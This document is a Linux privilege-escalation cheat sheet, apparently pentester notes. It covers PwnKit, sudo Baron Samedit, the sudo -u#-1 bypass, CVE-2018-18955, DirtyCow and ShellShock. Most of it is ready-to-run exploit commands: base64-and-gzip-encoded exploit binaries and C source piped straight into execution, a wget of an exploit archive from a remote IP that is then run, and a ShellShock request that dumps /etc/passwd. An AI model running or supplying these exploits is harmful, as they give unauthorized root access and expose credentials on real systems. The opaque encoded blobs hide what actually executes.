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XfDX17uBu/P/QPCH9WNrgB+n6A9yk3HgD+u0zoC5vfj8WmGceJ+B/+4a/kY0eUVHjzH/FhZ48nfIi6qfH42GsRtlqoPiGqFxcfwbavg/00mxQXAQv13/B6DpAxgQQQAA'|base64 -d|gzip -d>cve-2021-4034-poc
chmod 755 pwnkit.so cve-2021-4034-poc
# You can create a cmd.sh to put custom commands (otherwise sh by default when cmd.sh doesn't exist)
echo bash > cmd.sh && ./cve-2021-4034-poc

CVE-2021-3156

All legacy versions from 1.8.2 to 1.8.31p2
All stable versions from 1.9.0 to 1.9.5p1
Vulnerable if command return “malloc(): corrupted top size Aborted (core dumped)”
sudoedit -s '\' `perl -e 'print "A" x 65536'`
# Or if "sudoedit -s /" ask for password
mkdir -p libnss_X/ &&echo 'H4sIAIynJmAAA+1cfWwcxRWfvS/vZe2znQ/iONBcUILCh8+OkzgOwYkdJ86ZxklIExpaYHMfe3cL9+Hu7gUbCkQJLQGKCrSlCCrBH1SlqtSi0kpQVBoUmn8qoVAhFbUFubRRkxbU5A+qtJV8fW92Zr07viVFoqpU7ZO9b96b93tvdmZu9+3dzN6/Y9dYSJIIpzDZQlCa7LDlYaY/NOyYgG6QxOG4kiSpbYT408WIlxPmF3FRlyzyjOTlbhx1lWR6gb9AvNyNi8G/nLJleYuX94VsPhjy4kIMl2S45BYvPyF5uczgEfY/KPjlfBXxct49e89YeSzL7HxE7oe7CXAx8p8T7+59PJ5Pv1yUvJwPB2IWE5wvhOzcfYBMRFZ9+P6B7/7zgR+tOx36af7xt5++/RVuL7lwn6R9ySb6W+F/YRO95GOf87G/zsf+gI/9GPxf2URPVLVYqVVV08oYlqoSdXz/hJrXDK2om5Zm7J8YLdeq2v5MtqzZdc1r1NxURi3o1UxZv1sjpmbV9Twxp8GwQrQp3SJlPZtLmbXUANm5a3zbqNqf6k9toA0IOf8h2g8SKZG58a1363GsM5jsjC+Tk5027xD0q5m+S9DPMMd9w149l2e22jxGvGN+1qUPu/TnXfqoS3/RpW9x6btYnB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rXqbZfouJOH63IdjbMH+2PmZ6pdB+SdB3INgrMczW0Ux7UP72M7kLwZiaYbMlvB4T6hf7/33q30gxW5czzfaLBK7K438/ssaIopw4YnG5LV7/tODP1vlM7xfsxXDlHwv+bD/AtDheTkE/Iviz72emfyYE9YrbiscEf7YuYrpcsBf7/yvE379iPLW4PRD9nxT8C8UrF/I/IfizfQ3TsjDhxfF8EcFegG0jzfjl6vz24vifw/8VFn+2vs5+Qf83EYw98zfjw6n/tOX+t/qx60j2DQ6LP9t3TdWA3vg59b8r+Jvr91oeFvL/p+DP1re+Wr6doj+TDynH/Nn6r702v734/JqjnPhrBPMv9P1h1Xl+ckBx6j9aOl9ONcp9fpRb2s7JdlCqULjY/iUF/NV60GWCg3gm4D8QkJgQ8EEAAA=='|base64 -d|gzip -d>exploit &&chmod 755 exploit &&./exploit

CVE-2019-14287

sudo < v1.28
# sudo -l => "user1 myhost = (ALL, !root) /bin/bash"
sudo -u#-1 /bin/bash

CVE-2018-18955

In the Linux kernel 4.15.x through 4.19.x before 4.19.2
cd $(mktemp -d) && wget 192.168.45.161/CVE201818955.zip
unzip CVE201818955.zip . && cd CVE-2018-18955-main && bash exploit.dbus.sh

DirtyCow

Patch : 2016
Dirty COW vulnerability affects all versions of the Linux Kernel since version 2.6.22, which was released in 2007.
According to Wikipedia, the vulnerability has been patched in kernel versions 4.8. 3, 4.7
Copy paste x64 or x86 precompiled payload on target terminal to get root
x64
echo "H4sIAAAAAAAAA+1ce3BU13k/u6uVxEMr8ZDNwzHXjonBRisJBBWkGK3QwlVHYBkk4wzGV6vdK7Swr+zeNYiCDZbNeEdWLE+d1kmcqZKpUzt1J3Y604LTGmFaoJmYiNjtEDuZKG6xF5u6AmNH5rX9zuvuuUd7Q5pppv/s0ay++/3O+R7nufeee7591N+2zulwIJ5c6B6EuZGZlG9ieGKNWQSwRlQB/xegW1Ep8CVCOZmecVppuWmHys1xUV6mtyArdQi0BNmn4alWiqrycm6Bl+kzU6xUlCP2FIZLdMJpp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X+5AWblP+K8Eyr2zK5Qwfj1ksH8B4HP4Fa3cHKLILAAA="|base64 -d|gzip -d|gcc -o $BIN -pthread -x c -
ls -lh $BIN

ShellShock

Patch : 2014
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://server:8080/cgi-bin/vulnerable